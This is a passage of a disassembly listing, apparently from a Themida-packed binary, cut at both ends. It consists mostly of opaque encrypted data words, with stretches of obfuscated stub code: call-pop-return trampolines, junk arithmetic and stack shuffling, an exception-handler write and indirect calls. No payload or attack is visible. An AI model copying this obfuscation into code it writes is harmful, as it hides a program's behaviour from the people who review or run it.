9DB51670h dd 36BEDF10h, 6A5DD0Ah, 2E0FDE21h, 58600C66h, 8F700A7Bh dd 56796F62h, 9DF8AB27h, 4B4B7490h, 1144B5E6h, 0B382E382h dd 9EB0C842h, 2D15CA90h, 0E02AB29Eh, 7A429D6Bh, 0F9ACD060h dd 0BCAE236Bh, 916A3D6Ah, 103291F0h, 16438DBBh, 62F34BE7h dd 4DDEC4EFh, 0E92CB903h, 0F755E8CAh, 7ED0EFEDh, 6E000000h dd 0EBC8BEA3h, 8EA18F7Ah, 44157816h, 3D9DAF02h, 0B382CA1Bh dd 8AA0C142h, 0FB90020Ah, 7956F647h, 0FB4AFE51h, 404529Ah dd 0A145E3DDh, 0F7DCDFBFh, 0C3113996h, 0E518458Fh, 10733BD0h dd 8BBF1139h, 32A3A441h, 46F26D8h, 7C0009h, 2E3D08A5h dd 0A0BF8EEFh, 25FDE3B7h, 154891C8h, 46F7FB9h, 40620382h dd 0B1D061EFh, 0B8942527h, 0C039B3A9h, 3695F1F8h, 5856B2C7h dd 4C6AAB0Ah, 2BEA3EEh, 0C011B2F2h, 775CBD8Ch, 42692E61h dd 6AEF7B11h, 0A605642Ah, 0B71B3184h, 0F4152424h, 8B7EEFECh dd 0F416877Dh, 0E6177FCEh, 0A83696Ch, 27B1D035h, 0C80A5BBAh dd 0D6F7D775h, 5DEC62F4h, 0FA2B43Ch, 0D667E97Ah, 4887D6B7h dd 0EA7BCD62h, 2CE221ABh, 6921F842h, 0E4715976h, 2F850170h dd 0CF4ED1F4h, 44EE8B05h, 454998F1h, 609FE869h, 0B41B7A6Fh dd 0B2EFE215h, 6E4D2CE5h, 6BB6AD49h, 0BD0727D7h, 2428B99Fh dd 0AEA23115h, 0B247C99Fh, 3F9FAD00h, 97C6C819h, 0D1F42E3Bh dd 51E08104h, 0A74h, 0E0C2DA00h, 0D031004Eh, 0BDDA8408h dd 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h dd 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah, 81E78957h dd 4C7h, 4EF8100h, 87000000h, 895C243Ch, 9668242Ch, 89000073h dd 8952241Ch, 4C281E2h, 83000000h, 148704EAh, 2C895C24h dd 3E946824h, 1C8B061Bh, 4C48324h, 4EC81h, 24890000h, 24048324h dd 27685D04h, 89000010h, 458F241Ch, 2434FF08h, 4C4815Dh dd 8B000000h, 8957241Ch, 4C781E7h, 81000000h, 4C7h, 243C8700h dd 3D76E95Ch, 0E6F0FFF8h, 6A7D421h, 0F9C25AD5h, 4508DE84h dd 1B4372B8h, 0FFC50306h, 74092CE0h, 0B3241915h, 9CC3276Ah dd 0D68D8D1Ch, 0E8061B44h, 7, 126980C4h, 667E636Ah, 895EFB8Bh dd 131BBD8Dh, 919D0306h, 0C706130Eh, 1318DD85h, 6AE806h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 5F6275E5h, 9589F6F0h, 61301D1h, 0FE8B5360h dd 0FE95Bh, 200C0000h, 1FDCA64Ah, 0E58F1852h, 0C6FB5D5Fh dd 85C7613Fh, 6133055h, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_60075B and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_60075B proc near ; CODE XREF: Themida_:00600753p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_60075B endp ; --------------------------------------------------------------------------- db 84h ; --------------------------------------------------------------------------- jmp short loc_6007E3 ; --------------------------------------------------------------------------- mov [ebp+17h], dh db 36h mov [ebp+61322C5h], ecx push dword ptr [ebp+6132331h] jge loc_60078A mov ebx, [ebp+61309D9h] loc_60078A: ; CODE XREF: Themida_:0060077Ej mov edi, [ebp+613104Dh] call dword ptr [ebp+6131D89h] movsx ebx, si push 0 call dword ptr [ebp+6130DA9h] mov eax, eax jmp short loc_600823 ; --------------------------------------------------------------------------- db 0C4h, 95h, 0A7h dd 526115A1h, 2F7A24BAh, 31F130Ah, 3C58FF8h, 0B1C3801Eh dd 0A4A79217h, 637F70C0h, 1247837Dh, 0C2FA0048h, 2319B0D9h dd 41BEA01Eh, 9D328EF1h, 0E4FF84C8h, 1465FD33h db 16h, 0Eh, 0DBh ; --------------------------------------------------------------------------- loc_6007E3: ; CODE XREF: Themida_:0060076Cj dec esp cmp ah, [eax] test al, 0A5h cli mov ch, 6Ah insb ; --------------------------------------------------------------------------- dd 1C4898Fh, 0B8BDC796h, 9E64C65Eh, 0D9EA0371h, 0DE43F608h dd 4117B68Dh, 6D720188h, 0EFF8E3D6h, 54F40CAEh, 55C2DE3Eh dd 63A3D62Dh, 3154EDC1h, 18663711h db 43h, 98h, 0A8h ; --------------------------------------------------------------------------- loc_600823: ; CODE XREF: Themida_:006007A3j lea ecx, [ebp+61B4653h] jmp loc_60083A ; --------------------------------------------------------------------------- dw 0F49Ah dd 0D7A3AA0Ah, 0CE4CCFFAh db 0BFh, 56h ; --------------------------------------------------------------------------- loc_60083A: ; CODE XREF: Themida_:00600829j mov [ebp+6131BBDh], ecx mov [ebp+6132425h], edx mov dword ptr [ebp+61318DDh], 5D40h push 0 push esi call sub_60085B and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_60085B proc near ; CODE XREF: Themida_:00600853p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_60085B endp ; --------------------------------------------------------------------------- db 0Ah dd 0F0A6A83h, 148Ch, 0FE900h, 0E6B70000h, 0C64B31CEh, 0EE36C38Fh dd 575B468Ch, 5585C7B4h, 61330h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 1110C351h dd 0A8132D00h, 1B5FFF9h, 6A061321h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 49D4C352h dd 608FED0Ah, 0FDAF4CDEh, 24419D8Bh, 95FF0613h, 6131D89h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 76C35242h dd 6F8DC103h, 0C9C20AFCh, 12398589h, 6A0613h, 0DA995FFh dd 0C08B0613h, 7BB738EBh, 7F25A982h, 178BE8CEh, 4ABF12FCh dd 0C04FBCBBh, 94207635h, 0C74650FDh, 0E46196Dh, 0B5BACD8Bh dd 0B1B1752Ah, 0A0362D35h, 7CBD2366h, 0FB761E01h, 1F2A5721h dd 8D8D7BD0h, 61B47A3h, 0B058523h, 8D890613h, 6131BBDh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 9FC35545h dd 48032F29h, 8B66BB6Bh, 5800FFAh, 0BA000000h, 6615AE6h dd 18DD85C7h, 6E1C0613h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 858BE4C3h, 6132FA5h dd 305585C7h, 613h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 800F5AC3h, 6, 5505CB81h dd 0B5FF6203h, 6130B01h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 80C35747h, 0E24F8EC4h, 0B85EC4D0h, 560CF251h dd 8E9h, 0BD47E400h, 7A356C38h, 8995FFF6h, 6A06131Dh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 9D3EC355h, 0CAFB617Ch, 0B71A89DDh, 29BD858Bh, 6A0613h dd 0DA995FFh, 0C08B0613h, 8CF12EEBh, 0D6EFD0F3h, 2B33EAFDh dd 94DE389Fh, 8D0BE5C3h, 6C85B121h, 66FBBDF0h, 95DC24C4h dd 0FD22188Fh, 0EB24B15Eh, 1FE0EDD5h, 96CACA76h, 2DE9h dd 858FDD00h, 6Ch, 9 dup(0) dd 91E90000h, 0CA000005h, 0D6FCDA7Ch, 0C6ECCA84h, 0D8FAD872h dd 0C7E9C987h, 0C9FCDA7Ah, 9CB80566h, 86CC1C3Eh, 9BAD0228h dd 88C4153Bh, 0CF3E212Ah, 16B8FD53h, 0BD59051Ch, 7251E06Ch dd 3187EB4Dh, 0A33491E3h, 1C7D9CADh, 213382D4h, 0C77AA582h dd 0EAE455CFh, 0D71773E2h, 0BDE0109Dh, 22082533h, 2436BE90h dd 3B1CBB91h, 9DD750CAh, 0ECF41910h, 4408597Dh, 7FF1D6F5h dd 97158D52h, 85D5F7C1h, 0ABE778C9h, 7BD1640Eh, 66E2755Bh dd 0EAE95E49h, 2B5CB627h, 0E025109Eh, 964F44BBh, 0B2F104Eh dd 40C190B8h, 47015678h, 0CE84D4F6h, 460E5B7Fh, 0C981D3F7h dd 0BE3B5778h, 0FA8F01D7h, 0E0F3624Dh, 258AC014h, 0BC04FBC6h dd 0A303459Ah, 0D630A582h, 9F109DC5h, 0D164767Eh, 0CAEDEA7Bh dd 9DC63F9Bh, 21850810h, 0D433BD91h, 109DC675h, 1F2E22B1h dd 95A4AC3Bh, 1D2C20B1h, 0FF7C16FCh, 0E861F116h, 41FBF4C4h dd 755CA3h, 0BD020000h, 2051E06Ch, 109DB4A4h, 76C78DDCh dd 0FA4B0154h, 76C987D8h, 71967FFCh, 744468E1h, 16A341EAh dd 96D78631h, 0FDF63412h, 0AF210323h, 118A0C1h, 1, 0E16DBD55h dd 72DC6E50h, 50DFE3h, 9EC19E31h, 9DB4F36Fh, 8F59BC10h dd 7CCE84F5h, 7BCEF4D2h, 0C392BC0Eh, 96F06542h, 5F109DB4h dd 5E7F5F3Eh, 470B5981h, 6CE697F6h, 35109DB5h, 0BD4E08D0h dd 0BB8F2170h, 0F211A5AAh, 0F31FEB07h, 6562F392h, 0D160EC3Dh dd 942628B0h, 65E3ABBAh, 0D10423D4h, 109EA675h, 0C315DF3Eh dd 32D51876h, 3C089237h, 0A5B7D5Dh, 0EED4F342h, 0B2982C59h dd 320362A3h, 75C709D3h, 7E5D84D5h, 0CB22C61h, 1A7B109Eh dd 192826B8h, 2596F0F8h, 41B029F7h, 79ECCBA3h, 109E071Dh dd 61DA7E6h, 61h, 0E470BD5Ch, 6BDF7155h, 700989DAh, 0C1E173C2h dd 0E46EBEE4h, 0AAAC3455h, 2B28391Bh, 3299B907h, 2D37F9D9h dd 292BB5CFh, 0BEA7B69Ah, 0D795B754h, 7FA341FAh, 45h, 0E470BDE3h dd 0B517655h, 65E9F998h, 83375B27h, 0C5F2151Ch, 101B77E6h dd 0A1E4109Eh, 0A6A23517h, 0AD1EB497h, 0CEEC68F5h, 0E16DBD74h dd 0B4A02150h, 7919109Dh, 0E5735700h, 3DFB636Dh, 0A5A341EAh dd 1, 0DF6BBDB9h, 0FE86DA00h, 44C58B4Fh, 52E382A7h, 5E860075h dd 0CE4F109Eh, 92BA0BAFh, 0EB7A42C3h, 67F656E7h, 0D88AFF71h dd 0C7E8C684h, 6AFB53E3h, 0E879D768h, 0B400C8A9h, 0D5FAD9ADh dd 1F2BE1D5h, 0F157EC90h, 0DA0B4890h, 168EB30Bh, 0C60859BCh dd 0D7F9D973h, 0C6E9C686h, 8AB13B97h, 3781040Ah, 5B84ABA8h dd 0AA20B571h, 0D68936F8h, 3859B46Dh, 0CF351B0h, 0A62C0A8Ah dd 80CC5D15h, 0A648FC23h, 0FCB3E6D0h, 0D7FB35D7h, 0E6EE1DE4h dd 63F3D7F8h, 0E6785AEBh, 0D9B8D968h, 5DEC68F5h, 0FA2B43Ch dd 972A2C3Dh, 0A13416B5h, 0BCC221ABh, 0B405BD4Eh, 0D2A23A98h dd 7A5AAD55h, 100h, 2BEA3E0h, 2729DBEBh, 0F654E812h, 26472667h dd 3484A689h, 6CE4F1Eh, 8EC72287h, 4897BB16h, 0B9D83908h dd 3913A6A8h, 0E093BC99h, 0F8B53C62h, 28B99B25h, 0A0311524h dd 5BF59DACh, 0E5A134DEh, 0D34D7CB7h, 409EFF83h, 0A1A93B1Fh dd 0B3F1BF17h, 42595AADh, 0FD000000h, 1670E5C2h, 0DF109DB5h dd 0DD0A36BEh, 5BD706A5h, 646F624Ch, 65E11021h, 67909DB6h dd 9BC49425h, 1995C8E7h, 92EF624Dh, 223321B0h, 0DCBD8B20h dd 8FEB8DF7h, 26AE7534h, 4B6644C9h, 68h, 0C8BEA3E7h, 0A18F7AEBh dd 1578168Eh, 9DAF0244h, 72EC213Eh, 3B0A8AA1h, 0E664F8DAh dd 0B0AE3657h, 741AAB8Fh, 8AA08501h, 0AECF4E0Ah, 64767E9Fh dd 9BEA7BD1h, 0A8AA038h, 32E05979h, 110DAD9Fh, 0DC11AED8h dd 1073DE57h, 0FE401174h, 0BC90A1ABh, 0FAEFB952h, 39BE2F8Ch dd 560A5897h, 91B69737h, 5D04E514h, 0E9737DDDh, 14FE0C2h dd 20667BB7h, 0F3CD5283h, 0ABEA1686h, 6B9ABD9Ah, 0A826CEFh dd 5F588FB8h, 3D958DACh, 0EF42945Ch, 0A5B7D5Dh, 0BF1C2C7Fh dd 823FD44Eh, 19789D0Ah, 153B948h, 4C9B73E8h, 7DBB1746h dd 1849FE3h, 0BDEAD160h, 65BD4BF4h, 3418A90Dh, 0C7DEF25h dd 2FCC4619h, 4573283h, 0F594F544h, 7ED2F8D5h, 0D41C7DCCh dd 4C1D2F82h, 61BD300Fh, 2A9FE370h, 7455C4EBh, 0C6A60CAFh dd 0C58BDCFEh, 577B6074h, 117B4505h, 0D577CA78h, 0FB65D1F6h dd 90E84EB3h, 95280A48h, 0AABA6B7h, 7000000h, 0FE4CE0C2h dd 72A62E6Fh, 0E571BDB0h, 6DDF7254h, 0E365FADCh, 72E07052h dd 252DFE3h, 92C20F33h, 20307FC3h, 0AF9B2D11h, 242ABC9Eh db 15h, 22h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx mov edx, 53D4E15h add edx, 0FAC2B1EFh add ebp, edx pop edx sub ebp, 4 xchg ebp, [esp] pop esp push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebx push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], edi push edx mov edx, 541807BBh add edx, 0B2034052h push edx sub dword ptr [esp], 161755ACh pop ebx add ebx, 161755ACh pop edx push 3AE1h mov [esp], esp add dword ptr [esp], 4 pop edi push eax mov eax, 8 add eax, edi push ebx sub dword ptr [esp], 15804862h pop dword ptr [eax] add dword ptr [eax], 15804862h pop eax push dword ptr [esp] pop edi add esp, 4 push dword ptr [esp] pop ebx add esp, 4 jmp loc_58442C ; --------------------------------------------------------------------------- db 0DCh dd 0CFF2D273h, 936EA5D4h, 0D5379631h, 1B4CF8B8h, 0FFC50306h dd 0D84943E0h, 0C8EFCD58h, 5362E26Eh, 2C49D616h, 23F10A67h dd 13736456h, 647A23Bh, 8D3FE069h, 5623FA10h, 0A245A237h dd 4479A672h, 0EFCFA443h, 0D974D11Ch, 560B077Eh, 0C957B3Ah dd 8B78B215h, 62191651h, 98972C13h, 1A0E335Fh, 0D937C50Eh dd 5CC7AF52h, 12BA5C60h, 2E498469h, 64D69356h, 11F5E74Eh dd 88AA2453h, 88F4D170h, 348B8764h, 3F472906h, 0DD33271Ah dd 4ADA9460h, 3CFBA52h, 0A28D8D44h, 8B061B4Eh, 13234D9Dh dd 0BD8D8906h, 6A06131Bh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 8DC3C356h, 0E906F149h dd 7, 1A79134Ch, 0C702A887h, 1318DD85h, 701406h, 39950100h dd 0C7061301h, 13305585h, 6, 91858B00h, 0FF06130Dh, 1331EDB5h dd 1BA6606h, 8995FF95h, 2306131Dh, 1309E5BDh, 0FF006A06h dd 130DA995h, 0EBC08B06h, 3C9D7E0Ch, 3E6C0B1Eh, 3E7C8A6h dd 1EE9C0h, 0F4B00000h, 50A9h, 6 dup(0) ; --------------------------------------------------------------------------- jmp loc_6016B2 ; --------------------------------------------------------------------------- db 98h, 4Ah, 0Ch dd 143A8CAEh, 0A4094B6h, 1B3586ACh, 0C4895BBh, 5BB07FAEh dd 4268460Eh, 604260F2h, 7B5D7DCBh, 774462EAh, 2A92558h dd 1F7216B9h, 70E5C243h, 109DB516h, 2436BEDFh, 0ADAABB91h dd 0B4FF5B8Ah, 45C8109Dh, 0B49BF766h, 2164109Dh, 6928B597h dd 0DDE273D7h, 0EBE08538h, 0E382E3E5h, 4CDDC3h, 0CDBC0D31h dd 283D27Eh, 5EF0D263h, 61EFD3F0h, 972160F1h, 99B30648h dd 1C3686C8h, 2ECB454Dh, 4A1B3184h, 5999AACBh, 0AD9F32E0h dd 0B60A300Dh, 0AEA03294h, 64767E9Fh, 2A24B6CFh, 0A7A7371Bh dd 77167796h, 6EE07258h, 2836BEDFh, 3C9BAD02h, 0F070EA1Bh dd 0D439109Dh, 0DF352DEFh, 965E0C84h, 0ED65F3D7h, 0F157ECCEh dd 2A6478E7h, 0FA4EE191h, 0E963F6DCh, 4A82958h, 0B121109Eh dd 0BA24F418h, 678CA341h, 0B2000000h, 8B1D6CBDh, 71ED20BFh dd 3A109DB5h, 5AABBADBh, 109DB4FEh, 0D2032473h, 109DB578h dd 2F8F1641h, 2B0FAF75h, 7308824Ah, 416B8B49h, 133A3h dd 0BD070000h, 0FC891E6Dh, 3554E56Bh, 0A706F54h, 783E5AA4h dd 0B4064819h, 3887CB9Ah, 5C964918h, 0E8A333DFh, 2667F654h dd 0F0416747h, 76249296h, 553405AAh, 70BDDB75h, 547655E4h dd 9BFA4B01h, 9FAFFF51h, 173D8CCEh, 99AF0446h, 0D76549C8h dd 0A624EA7Bh, 50BA2015h, 9ABA07BBh, 89C3163Ch, 84296B8h dd 65D63039h, 41E86937h, 65D1A3h, 0BD650000h, 5BB72670h dd 24109DB5h, 8DB180E1h, 0AD3E0F3Bh, 8F1ED465h, 76C3E5C5h dd 0FC4B8FDEh, 2B443E91h, 0CD9EE5D1h, 2D3C5D3Ch, 0B31CA44h dd 0A3416B5Dh, 6805h, 70BD5900h, 0A9E0C7E4h, 0C9F5BABh dd 0F8A2FC71h, 2A6B109Dh, 0E0E2814Bh, 0FCDEFD4Bh, 6D5216Dh dd 6F3F6F43h, 2427C60Eh, 0D8651DAEh, 0BD045E7Ch, 0E0C2E16Dh dd 0D31004Eh, 44C594C0h, 0BD4C9B25h, 109DB55Ch, 13C435D5h dd 0A3B2A22Fh, 0B4D531A4h, 7F9E109Dh, 0D24CC11Eh, 9B109DB4h dd 2AEA727Ah, 92A341EAh, 1, 1C6BBDA8h, 52B382C8h, 93156D6Dh dd 7F1EB1BCh, 24C6F1EEh, 3763E8D5h, 0DE6F616Bh, 8709DF6Eh dd 5EEC40F2h, 5D294080h, 161E0F7Eh, 4ECF168Fh, 0FF8ADBFFh dd 4FCE9FAFh, 17AA902Eh, 77D52435h, 0AF0A8B14h, 75DB6C1Fh dd 75C4A5E4h, 3688FF51h, 0E3E87918h, 6A07ED0Dh, 6E207442h dd 18C7E8DDh, 1988E72Fh, 428A4A44h, 2E7F33C8h, 0D45F3458h dd 0D8B97319h, 0C785D8FAh, 88015476h, 0AA245935h, 730A8B22h dd 0A3E27312h, 0FD8B73C2h, 0C983D68Ch, 53E6CCE9h, 0A967EFF9h dd 115AAC84h, 10Ch, 0C8BEA325h, 0BC377AEBh, 4DD0168Eh dd 0C587DAFCh, 0DA72C3E5h, 93F6478Bh, 0E1F44341h, 700F5A10h dd 0A0C14011h, 0EA5FE991h, 7A7A538h, 0AD6BEDABh, 59555Ah dd 0A3E90000h, 9DB503BCh, 14AEDFFCh, 1D6F624Ch, 4D6A69F8h dd 9DB4BE18h, 0BE068790h, 9DB4D34Fh, 1E9BD590h, 56750D5Ah dd 4E025179h, 31ADE0FFh, 0FA909DB5h, 93F2FA9Bh, 0EF624C17h dd 1DEFD20h, 99C88CD9h, 109DB53Dh, 1F3D8706h, 65DC193Eh dd 163CC83Ch, 7E93CEh, 0A32F0000h, 246C02BEh, 0C1C819A8h dd 0B4EF68DAh, 5A3BC49Bh, 0BCFD087Dh, 0A7E6168Eh, 2B21B496h dd 3814A58Bh, 0B4082A29h, 7E46C796h, 8ABB8C0Fh, 34C5CD0Ah dd 81212B7Eh, 8D2A5C85h, 7400B258h, 9D2F1310h, 0CBEFCCADh dd 5B0AD27Ah, 0B02A5B7Ch, 79046F6Bh, 378ACC14h, 0DE104415h dd 4798BA6Dh, 0FD93809h, 0DB0ABEA3h, 46F6C7Fh, 7A4C548h dd 58B230D6h, 86D9010Ah, 0CA1273C2h, 80DAF81Dh, 9502BEA3h dd 0D1567331h, 9DBA1978h, 9DFFEE68h, 6598B710h, 109DFFE9h dd 0AA3253B2h, 459238ADh, 92F31687h, 1E2E7FC3h, 5479AC0h dd 0C5381734h, 0A82B149h, 9AE9F312h, 40141113h, 9E49C230h dd 89262CBCh, 0D00FFA54h, 7A42C3B3h, 68470558h, 5761F342h dd 46065779h, 5EF2D8F7h, 0B43C5DECh, 2E3F11A2h, 9443B83Ah dd 0AA321CAEh, 973715A8h, 1D2C20B1h, 340h, 0E17B9E00h dd 54E571BDh, 0DC6DDF72h, 52E365FAh, 0E372E070h, 330252DFh dd 0C392C20Fh, 1120307Fh, 9EAF9B2Dh, 15242ABCh, 12836822h dd 2C890000h, 81E58924h, 4C5h, 4ED8300h, 5C242C87h, 81E38953h dd 4C3h, 4EB8100h, 87000000h, 895C241Ch, 89522414h, 4C281E2h dd 81000000h, 4EAh, 24148700h, 243C895Ch, 2CF96857h, 815F100Ah dd 0EEDE1EEFh, 8BFA8909h, 0C483243Ch, 3C8B5404h, 4C48324h dd 22BF5752h, 310CF10Ah, 5F04247Ch, 8108478Fh, 0A220877h dd 3C8B0CF1h, 0E1895124h, 4C181h, 0C1830000h, 240C8704h dd 2434FF5Ch, 4C4835Ah, 0F82D7BE9h db 0FFh, 7Ah ; --------------------------------------------------------------------------- loc_6016B2: ; CODE XREF: Themida_:006011A0j mov eax, 61B5353h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0F0h dd 0E72D15Eh, 8D0F8507h, 0E60B6C2Eh, 642F1326h, 0BE06264Fh dd 3D58595Bh, 1717768Eh, 2E325DC7h, 0D55FB730h, 0B24619D6h dd 0E039312Ah, 0EA50B1EFh, 38532633h, 435C938Fh, 784003A2h dd 1D5FAA5Ah, 0B55741BCh, 0F3212AC5h, 2B3AC5CBh, 0DF6F9419h dd 11283305h, 0F540FF67h, 0C77C5239h, 5229F33Fh, 0D0316A7Ch dd 94077B3Fh, 6D1CFB3Dh, 0B8766418h, 6E5974D8h, 0EB08880Fh dd 10h, 3 dup(0) dd 6AC08B00h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 3B01C352h, 1625BD83h, 75000613h dd 81BD8309h, 6132Ch, 53501974h, 2DB8C08Bh, 89000004h dd 130D7D85h, 7D9D8D06h, 0FF0615A9h, 83585BD3h, 132C81BDh dd 17740006h, 2DB85350h, 89000004h, 130D7D85h, 6C9D8D06h dd 0FF0615A6h, 0B585BD3h, 132129B5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 836CBE85h dd 606037E4h, 8A18589h, 81660613h, 61EA24D2h, 95BA6661h dd 66C08BE5h, 66909EBAh, 8D8BD68Bh, 6131141h, 0AE9h, 0BE91E400h dd 5B193840h, 83036680h, 840F00F9h, 7Ah, 8B64D38Bh, 2C3Dh dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 14E93C94h, 51000000h, 0E6E17FFEh, 5DA4A2C0h dd 2F299FA2h, 0BB6B4803h, 0BAE3DBFh, 33840FFFh, 0F000000h dd 3F8BF2BFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 43C35141h, 32E1DA65h, 0CA8153C0h, 57353B04h, 80AAF35Ah dd 493583CEh, 6A535041h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 92BFC356h, 8B91E05Fh dd 132329B5h, 0C6F08A06h, 1311E185h, 6A4706h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0EA8A67C3h dd 0B6B3799Ah, 0BA66F92Dh, 958B34ECh, 6133139h, 4E8h, 0D6882C00h dd 50F28BDCh, 50F18B60h, 0F616052h, 5ACA8B31h, 448B6158h dd 8B0424h, 448936B2h, 0B2560424h, 6A585EE6h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 0B41CC356h, 87E3F30Dh, 48A94F9Bh, 0FE8h, 0DA198900h dd 6D8B6E6Dh, 0C9145695h, 3D104B1Bh, 17DB58Bh, 35E0613h dd 132A15B5h, 0E9B5FF06h, 6A06131Eh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 5C98C355h dd 5144239Fh, 0C8F83675h, 1ED19503h, 81660613h, 0F0022EEh dd 68Fh, 9952B00h, 8D06131Ch, 167C3385h, 0BEE28106h, 0FF783707h dd 699501D0h, 8906132Ch, 13226585h, 8D8D3106h, 0F061323h dd 580h, 3904BE00h, 85C6406Ah, 61311E1h, 50006A53h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 2756662Dh, 238DB523h, 4E80613h, 0FC000000h, 0F88986Ah dd 108Bh, 0BE900h, 94870000h, 0B373EB5Ah, 0A59B9510h, 12E8500Bh dd 0A000000h, 0D153FDA9h, 598C97D4h, 8159D758h, 0DC514DE3h dd 5A5E5730h, 424448Bh, 0F525050h, 5A585A31h, 5153008Bh dd 8A0Fh, 5A5A0000h, 4244489h, 5E9h, 94BF1C00h, 6658A9B2h dd 0B5FFD18Bh, 6131EE9h, 2C1D9533h, 958B0613h, 6131A7Dh dd 7C33858Dh, 800F0616h, 0Ch, 6820Fh, 0D6810000h, 3E8A67Ah dd 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 0B529A1C3h, 61315CDh, 6890Fh, 958B0000h dd 61325D1h, 3677858Dh, 6A0616h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 60F890C3h, 1C0D8529h dd 66600613h, 9458E881h, 896161F5h, 130D0985h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 74D8878Ah, 6A206AA1h, 995FFFFh, 3506130Dh, 53504149h dd 22C185C7h, 10613h, 85C70000h, 613240Dh, 0 ; --------------------------------------------------------------------------- mov [ebp+6131091h], ecx clc mov eax, [ebp+6131D51h] jno $+6 mov large fs:0, eax sub [ebp+6130179h], esi cmp dword ptr [ebp+6131F95h], 0 jz loc_601BA3 mov dx, 9EC2h mov eax, [ebp+6130E81h] push 0 push eax call sub_601B71 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_601B71 proc near ; CODE XREF: Themida_:00601B69p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_601B71 endp ; --------------------------------------------------------------------------- db 6Fh, 0Bh, 8Fh dd 0D638673Eh, 9607800h, 1301418Dh, 0C5BD2B06h, 61061322h dd 8B66E08Bh, 80F681D7h db 0E9h, 5Eh, 5Ch ; --------------------------------------------------------------------------- loc_601BA3: ; CODE XREF: Themida_:00601B56j cmp dword ptr [ebp+6131129h], 0 jnz loc_601FA0 push edx pusha mov esi, [ebp+6130A2Dh] popa pop esi mov byte ptr [ebp+61311E1h], 56h push edx pop edx push 69518EF2h jnp loc_601BD0 mov edx, eax loc_601BD0: ; CODE XREF: Themida_:00601BC8j add dword ptr [esp], 4073A1EDh sub edx, [ebp+6132085h] push dword ptr [ebp+6131EE9h] loc_601BE3: ; CODE XREF: Themida_:00601C59j add esi, [ebp+6130DA5h] pusha mov bx, dx mov ecx, [ebp+6131AD5h] popa lea eax, [ebp+6167C33h] mov [ebp+613216Dh], esi call eax mov esi, [ebp+6132CCDh] push eax mov dh, ch mov [esp], eax call near ptr loc_601C1E+2 adc [eax-64BD15FEh], edi mov eax, 0C96B469Ch loc_601C1E: ; CODE XREF: Themida_:00601C0Ep and [ecx+0Fh], ah mov edi, 8D8D5EF3h cmp [edx], ebx adc eax, [esi] push 0 push ebx call sub_601C35 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_601C35 proc near ; CODE XREF: Themida_:00601C2Dp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_601C35 endp ; --------------------------------------------------------------------------- aam 0E4h mov dh, 18h mov bl, 27h dec esi jmp loc_601C63 ; --------------------------------------------------------------------------- db 17h, 5Eh, 2Bh ; --------------------------------------------------------------------------- pop eax sub edx, esp sbb dl, dl jnb short loc_601BE3 xchg eax, ebx stosd dec ebp test eax, 77CDBDEh loc_601C63: ; CODE XREF: Themida_:00601C4Cj jp loc_601C6C movsx esi, bx loc_601C6C: ; CODE XREF: Themida_:loc_601C63j xchg eax, ecx mov dl, 50h push eax jno loc_601C7B mov edx, 7B932822h loc_601C7B: ; CODE XREF: Themida_:00601C70j xchg eax, ecx push 0 push esi call sub_601C87 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_601C87 proc near ; CODE XREF: Themida_:00601C7Fp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_601C87 endp ; --------------------------------------------------------------------------- db 8Ah dd 13019D89h, 46A0613h, 0F60F28Bh, 68Ch, 119D8B00h, 61061315h dd 4E8h, 100000h, 8E800h, 0A8C90000h, 730F2D04h, 52501417h dd 